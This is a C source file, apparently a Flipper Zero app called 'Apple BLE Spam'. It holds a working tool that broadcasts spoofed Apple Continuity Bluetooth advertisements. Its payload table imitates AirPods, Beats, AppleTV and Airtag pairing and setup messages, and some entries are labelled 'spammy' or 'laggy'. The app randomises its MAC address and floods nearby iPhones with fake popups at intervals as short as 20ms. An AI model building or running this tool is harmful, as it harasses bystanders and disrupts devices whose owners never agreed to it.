apple_ble_spam.c 17 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551
  1. #include <gui/gui.h>
  2. #include <gui/elements.h>
  3. #include <furi_hal_bt.h>
  4. #include <furi_hal_random.h>
  5. #include "apple_ble_spam_icons.h"
  6. #include "lib/continuity/continuity.h"
  7. typedef struct {
  8. const char* title;
  9. const char* text;
  10. bool random;
  11. ContinuityMsg msg;
  12. } Payload;
  13. // Hacked together by @Willy-JL
  14. // Custom adv logic by @Willy-JL and @xMasterX
  15. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  16. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  17. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  18. // Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
  19. static Payload payloads[] = {
  20. #if false
  21. {.title = "AirDrop",
  22. .text = "",
  23. .random = false,
  24. .msg =
  25. {
  26. .type = ContinuityTypeAirDrop,
  27. .data = {.airdrop = {}},
  28. }},
  29. {.title = "Airplay Target",
  30. .text = "",
  31. .random = false,
  32. .msg =
  33. {
  34. .type = ContinuityTypeAirplayTarget,
  35. .data = {.airplay_target = {}},
  36. }},
  37. {.title = "Handoff",
  38. .text = "",
  39. .random = false,
  40. .msg =
  41. {
  42. .type = ContinuityTypeHandoff,
  43. .data = {.handoff = {}},
  44. }},
  45. {.title = "Tethering Source",
  46. .text = "",
  47. .random = false,
  48. .msg =
  49. {
  50. .type = ContinuityTypeTetheringSource,
  51. .data = {.tethering_source = {}},
  52. }},
  53. #endif
  54. {.title = "Random Action",
  55. .text = "Spam shuffle Nearby Actions",
  56. .random = true,
  57. .msg =
  58. {
  59. .type = ContinuityTypeNearbyAction,
  60. .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
  61. }},
  62. {.title = "AppleTV AutoFill",
  63. .text = "Banner, unlocked, long range",
  64. .random = false,
  65. .msg =
  66. {
  67. .type = ContinuityTypeNearbyAction,
  68. .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
  69. }},
  70. {.title = "AppleTV Connecting...",
  71. .text = "Modal, unlocked, long range",
  72. .random = false,
  73. .msg =
  74. {
  75. .type = ContinuityTypeNearbyAction,
  76. .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
  77. }},
  78. {.title = "Join This AppleTV?",
  79. .text = "Modal, unlocked, spammy",
  80. .random = false,
  81. .msg =
  82. {
  83. .type = ContinuityTypeNearbyAction,
  84. .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
  85. }},
  86. {.title = "AppleTV Audio Sync",
  87. .text = "Banner, locked, long range",
  88. .random = false,
  89. .msg =
  90. {
  91. .type = ContinuityTypeNearbyAction,
  92. .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
  93. }},
  94. {.title = "AppleTV Color Balance",
  95. .text = "Banner, locked",
  96. .random = false,
  97. .msg =
  98. {
  99. .type = ContinuityTypeNearbyAction,
  100. .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
  101. }},
  102. {.title = "Setup New iPhone",
  103. .text = "Modal, locked",
  104. .random = false,
  105. .msg =
  106. {
  107. .type = ContinuityTypeNearbyAction,
  108. .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
  109. }},
  110. {.title = "Setup New Random",
  111. .text = "Modal, locked, glitched",
  112. .random = false,
  113. .msg =
  114. {
  115. .type = ContinuityTypeNearbyAction,
  116. .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
  117. }},
  118. {.title = "Transfer Phone Number",
  119. .text = "Modal, locked",
  120. .random = false,
  121. .msg =
  122. {
  123. .type = ContinuityTypeNearbyAction,
  124. .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
  125. }},
  126. {.title = "HomePod Setup",
  127. .text = "Modal, unlocked",
  128. .random = false,
  129. .msg =
  130. {
  131. .type = ContinuityTypeNearbyAction,
  132. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
  133. }},
  134. {.title = "Random Pair",
  135. .text = "Spam shuffle Proximity Pairs",
  136. .random = true,
  137. .msg =
  138. {
  139. .type = ContinuityTypeProximityPair,
  140. .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
  141. }},
  142. {.title = "AirPods Pro",
  143. .text = "Modal, spammy (auto close)",
  144. .random = false,
  145. .msg =
  146. {
  147. .type = ContinuityTypeProximityPair,
  148. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
  149. }},
  150. {.title = "Beats Solo 3",
  151. .text = "Modal, spammy (stays open)",
  152. .random = false,
  153. .msg =
  154. {
  155. .type = ContinuityTypeProximityPair,
  156. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
  157. }},
  158. {.title = "AirPods Max",
  159. .text = "Modal, laggy (stays open)",
  160. .random = false,
  161. .msg =
  162. {
  163. .type = ContinuityTypeProximityPair,
  164. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
  165. }},
  166. {.title = "Beats Flex",
  167. .text = "Modal, laggy (stays open)",
  168. .random = false,
  169. .msg =
  170. {
  171. .type = ContinuityTypeProximityPair,
  172. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
  173. }},
  174. {.title = "Airtag",
  175. .text = "Modal, unlocked",
  176. .random = false,
  177. .msg =
  178. {
  179. .type = ContinuityTypeProximityPair,
  180. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
  181. }},
  182. {.title = "Hermes Airtag",
  183. .text = "",
  184. .random = false,
  185. .msg =
  186. {
  187. .type = ContinuityTypeProximityPair,
  188. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
  189. }},
  190. {.title = "Setup New AppleTV",
  191. .text = "Modal, unlocked",
  192. .random = false,
  193. .msg =
  194. {
  195. .type = ContinuityTypeNearbyAction,
  196. .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
  197. }},
  198. {.title = "Pair AppleTV",
  199. .text = "Modal, unlocked",
  200. .random = false,
  201. .msg =
  202. {
  203. .type = ContinuityTypeNearbyAction,
  204. .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
  205. }},
  206. {.title = "HomeKit AppleTV Setup",
  207. .text = "Modal, unlocked",
  208. .random = false,
  209. .msg =
  210. {
  211. .type = ContinuityTypeNearbyAction,
  212. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
  213. }},
  214. {.title = "AppleID for AppleTV?",
  215. .text = "Modal, unlocked",
  216. .random = false,
  217. .msg =
  218. {
  219. .type = ContinuityTypeNearbyAction,
  220. .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
  221. }},
  222. {.title = "AirPods",
  223. .text = "Modal, spammy (auto close)",
  224. .random = false,
  225. .msg =
  226. {
  227. .type = ContinuityTypeProximityPair,
  228. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
  229. }},
  230. {.title = "AirPods 2nd Gen",
  231. .text = "Modal, spammy (auto close)",
  232. .random = false,
  233. .msg =
  234. {
  235. .type = ContinuityTypeProximityPair,
  236. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
  237. }},
  238. {.title = "AirPods 3rd Gen",
  239. .text = "Modal, spammy (auto close)",
  240. .random = false,
  241. .msg =
  242. {
  243. .type = ContinuityTypeProximityPair,
  244. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
  245. }},
  246. {.title = "AirPods Pro 2nd Gen",
  247. .text = "Modal, spammy (auto close)",
  248. .random = false,
  249. .msg =
  250. {
  251. .type = ContinuityTypeProximityPair,
  252. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
  253. }},
  254. {.title = "Powerbeats 3",
  255. .text = "Modal, spammy (stays open)",
  256. .random = false,
  257. .msg =
  258. {
  259. .type = ContinuityTypeProximityPair,
  260. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
  261. }},
  262. {.title = "Powerbeats Pro",
  263. .text = "Modal, spammy (auto close)",
  264. .random = false,
  265. .msg =
  266. {
  267. .type = ContinuityTypeProximityPair,
  268. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
  269. }},
  270. {.title = "Beats Solo Pro",
  271. .text = "",
  272. .random = false,
  273. .msg =
  274. {
  275. .type = ContinuityTypeProximityPair,
  276. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
  277. }},
  278. {.title = "Beats Studio Buds",
  279. .text = "Modal, spammy (auto close)",
  280. .random = false,
  281. .msg =
  282. {
  283. .type = ContinuityTypeProximityPair,
  284. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
  285. }},
  286. {.title = "Beats X",
  287. .text = "Modal, spammy (stays open)",
  288. .random = false,
  289. .msg =
  290. {
  291. .type = ContinuityTypeProximityPair,
  292. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
  293. }},
  294. {.title = "Beats Studio 3",
  295. .text = "Modal, spammy (stays open)",
  296. .random = false,
  297. .msg =
  298. {
  299. .type = ContinuityTypeProximityPair,
  300. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
  301. }},
  302. {.title = "Beats Studio Pro",
  303. .text = "Modal, spammy (stays open)",
  304. .random = false,
  305. .msg =
  306. {
  307. .type = ContinuityTypeProximityPair,
  308. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
  309. }},
  310. {.title = "Beats Fit Pro",
  311. .text = "Modal, spammy (auto close)",
  312. .random = false,
  313. .msg =
  314. {
  315. .type = ContinuityTypeProximityPair,
  316. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
  317. }},
  318. {.title = "Beats Studio Buds+",
  319. .text = "Modal, spammy (auto close)",
  320. .random = false,
  321. .msg =
  322. {
  323. .type = ContinuityTypeProximityPair,
  324. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
  325. }},
  326. };
  327. struct {
  328. uint8_t count;
  329. ContinuityData** datas;
  330. } randoms[ContinuityTypeCount] = {0};
  331. uint16_t delays[] = {
  332. 20,
  333. 50,
  334. 100,
  335. 150,
  336. 200,
  337. 300,
  338. 400,
  339. 500,
  340. 750,
  341. 1000,
  342. 1500,
  343. 2000,
  344. 2500,
  345. 3000,
  346. 4000,
  347. 5000,
  348. };
  349. typedef struct {
  350. bool resume;
  351. bool advertising;
  352. uint8_t delay;
  353. uint8_t size;
  354. uint8_t* packet;
  355. Payload* payload;
  356. FuriThread* thread;
  357. uint8_t mac[GAP_MAC_ADDR_SIZE];
  358. uint8_t index;
  359. } State;
  360. static int32_t adv_thread(void* ctx) {
  361. State* state = ctx;
  362. Payload* payload = state->payload;
  363. ContinuityMsg* msg = &payload->msg;
  364. ContinuityType type = msg->type;
  365. while(state->advertising) {
  366. if(payload->random) {
  367. uint8_t random_i = rand() % randoms[type].count;
  368. memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
  369. }
  370. continuity_generate_packet(msg, state->packet);
  371. furi_hal_bt_custom_adv_set(state->packet, state->size);
  372. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  373. }
  374. return 0;
  375. }
  376. static void stop_adv(State* state) {
  377. state->advertising = false;
  378. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  379. furi_thread_join(state->thread);
  380. furi_hal_bt_custom_adv_stop();
  381. }
  382. static void start_adv(State* state) {
  383. state->advertising = true;
  384. furi_thread_start(state->thread);
  385. uint16_t delay = delays[state->delay];
  386. furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
  387. }
  388. static void toggle_adv(State* state, Payload* payload) {
  389. if(state->advertising) {
  390. stop_adv(state);
  391. if(state->resume) furi_hal_bt_start_advertising();
  392. state->payload = NULL;
  393. free(state->packet);
  394. state->packet = NULL;
  395. state->size = 0;
  396. } else {
  397. state->size = continuity_get_packet_size(payload->msg.type);
  398. state->packet = malloc(state->size);
  399. state->payload = payload;
  400. furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
  401. state->resume = furi_hal_bt_is_active();
  402. furi_hal_bt_stop_advertising();
  403. start_adv(state);
  404. }
  405. }
  406. static void draw_callback(Canvas* canvas, void* ctx) {
  407. State* state = ctx;
  408. const Payload* payload = &payloads[state->index];
  409. canvas_set_font(canvas, FontSecondary);
  410. canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
  411. canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
  412. canvas_set_font(canvas, FontBatteryPercent);
  413. char delay[14];
  414. snprintf(delay, sizeof(delay), "%ims", delays[state->delay]);
  415. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, delay);
  416. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  417. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  418. canvas_set_font(canvas, FontBatteryPercent);
  419. canvas_draw_str(canvas, 4, 21, continuity_get_type_name(payload->msg.type));
  420. canvas_set_font(canvas, FontPrimary);
  421. canvas_draw_str(canvas, 4, 32, payload->title);
  422. canvas_set_font(canvas, FontSecondary);
  423. canvas_draw_str(canvas, 4, 46, payload->text);
  424. if(state->index > 0) {
  425. elements_button_left(canvas, "Back");
  426. }
  427. if(state->index < COUNT_OF(payloads) - 1) {
  428. elements_button_right(canvas, "Next");
  429. }
  430. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  431. }
  432. static void input_callback(InputEvent* input, void* ctx) {
  433. FuriMessageQueue* input_queue = ctx;
  434. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  435. input->type == InputTypeRepeat) {
  436. furi_message_queue_put(input_queue, input, 0);
  437. }
  438. }
  439. int32_t apple_ble_spam(void* p) {
  440. UNUSED(p);
  441. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  442. if(payloads[payload_i].random) continue;
  443. randoms[payloads[payload_i].msg.type].count++;
  444. }
  445. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  446. if(!randoms[type].count) continue;
  447. randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
  448. uint8_t random_i = 0;
  449. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  450. if(payloads[payload_i].random) continue;
  451. if(payloads[payload_i].msg.type == type) {
  452. randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
  453. }
  454. }
  455. }
  456. State* state = malloc(sizeof(State));
  457. state->thread = furi_thread_alloc();
  458. furi_thread_set_callback(state->thread, adv_thread);
  459. furi_thread_set_context(state->thread, state);
  460. furi_thread_set_stack_size(state->thread, 2048);
  461. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  462. ViewPort* view_port = view_port_alloc();
  463. Gui* gui = furi_record_open(RECORD_GUI);
  464. view_port_input_callback_set(view_port, input_callback, input_queue);
  465. view_port_draw_callback_set(view_port, draw_callback, state);
  466. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  467. bool running = true;
  468. while(running) {
  469. InputEvent input;
  470. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  471. Payload* payload = &payloads[state->index];
  472. bool advertising = state->advertising;
  473. switch(input.key) {
  474. case InputKeyOk:
  475. toggle_adv(state, payload);
  476. break;
  477. case InputKeyUp:
  478. if(state->delay < COUNT_OF(delays) - 1) {
  479. if(advertising) stop_adv(state);
  480. state->delay++;
  481. if(advertising) start_adv(state);
  482. }
  483. break;
  484. case InputKeyDown:
  485. if(state->delay > 0) {
  486. if(advertising) stop_adv(state);
  487. state->delay--;
  488. if(advertising) start_adv(state);
  489. }
  490. break;
  491. case InputKeyLeft:
  492. if(state->index > 0) {
  493. if(advertising) toggle_adv(state, payload);
  494. state->index--;
  495. }
  496. break;
  497. case InputKeyRight:
  498. if(state->index < COUNT_OF(payloads) - 1) {
  499. if(advertising) toggle_adv(state, payload);
  500. state->index++;
  501. }
  502. break;
  503. case InputKeyBack:
  504. if(advertising) toggle_adv(state, payload);
  505. running = false;
  506. break;
  507. default:
  508. continue;
  509. }
  510. view_port_update(view_port);
  511. }
  512. gui_remove_view_port(gui, view_port);
  513. furi_record_close(RECORD_GUI);
  514. view_port_free(view_port);
  515. furi_message_queue_free(input_queue);
  516. furi_thread_free(state->thread);
  517. free(state);
  518. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  519. free(randoms[type].datas);
  520. }
  521. return 0;
  522. }